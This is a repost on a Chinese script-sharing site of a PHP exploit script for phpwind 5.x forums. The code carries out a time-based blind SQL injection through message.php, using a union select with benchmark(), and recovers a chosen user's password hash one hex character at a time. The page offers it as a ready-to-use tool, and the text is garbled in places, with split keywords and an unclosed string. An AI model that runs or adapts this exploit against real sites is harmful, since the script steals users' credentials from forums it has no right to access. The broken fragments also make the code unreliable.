脚本宝典收集整理的这篇文章主要介绍了phpwind Exp 漏洞利用,脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。
忘记什么时候我就拿到了,一直没发挥.由于某些
原因一直没发出来,毕竟不是
原创,现在有人帖出来了,我也放出来.&nbs
p; 程序代码
<?php
PRint_r("
+------------------------------------------------------------------+
E
xplo
IT For Phpwind 5.X Version
BY Loveshell
Just For Fun :)
+------------------------------------------------------------------+
");
ini_set("
max_execution_time",0);
error_reporting(7);
$
BBSpath="$
argv[2]";
$server="$argv[1]";
$cookie='1ae40_lastfid=0; 1ae40_ol_offset=776; 1ae40_ck_info=%2F%09.72m.net; 1ae40_winduser=A1QKBgE9UFxUUwAHDloFU
amiAFxeUgIMWgFUVVYDAA8HBFQNUVA%3D; 1ae40_lastvisit=0%091173612527%09%2Fbbs%2Findex.php%3F;
$useragent="Mozilla/4.0 (compatible; 
;mSIE 6.0; Windows NT 5.1; SV1)";
$uid=intval($argv[3])>0 ? intval($argv[3]):1;
echo "\r\n
#LOGging\t
........";
if(islogin()) echo "Login Ok!\r\n";
else
die("Not Login!\tCheck Your Cookie and Useragent!\r\n");
echo "#
testing\t........";
if(test()) echo "Vul!\r\n";
else die("Not Vul");
$hashtable='0123456789
abcdef';
$count=0;
echo "#Cracking\t\r\n\r\n";
for($i=1;$i<=16;$
i++){
echo "第\t$i\t位:";
$s
ubpass=crack($i+8);
$password=$password.$subpass;
echo "$subpass\r\n";
}
echo "Password:\t$password";
echo "\r\nGood Luck $count Times\r\n";
function send($cmd,$path)
{
global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;
$path=$bbspath."$path";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content
-ty
PE: application/x-www-form-url
encoded\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".
strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$count=$count+1;
$fd =
fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "<pre>";
while($fd
&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="</pre>";
if($debug) {echo $cmd;echo $resp;}
// echo $resp;
return $resp;
}
function
SQLject($sql){
global $uid;
$data='action=pubmsg&
amp;readmsg=0)';
$data=$data." union select
benchmark(1000000,md5(12345))
From pw_members where uid=$uid and $sql".'/*';
$echo=send($data,'message.php');
preg_match("/
total (.*)\(/i",$echo,$matches);
if($matches[1]>2) return 1;
else return 0;
}
function test(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'
MySQL Server Error')) return 1;
else return 0;
}
function islogin(){
global $uid;
$data='action=pubmsg&readmsg=0)';
$echo=send($data,'message.php');
if(strpos($echo,'login.php"')) return 0;
else return 1;
}
function crack($i){
global $hashtable;
$sql="mid(password,$i,1)>0x".bin2hex('8');
if(sqlject($sql)){
$a=8;
$b=15;}
else {
$a=0;
$b=8;
}
for($
tmp=$a;$tmp<=$b;$tmp++){
$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>
点击下载此文件
脚本宝典总结
以上是脚本宝典为你收集整理的phpwind Exp 漏洞利用全部内容,希望文章能够帮你解决phpwind Exp 漏洞利用所遇到的问题。
如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。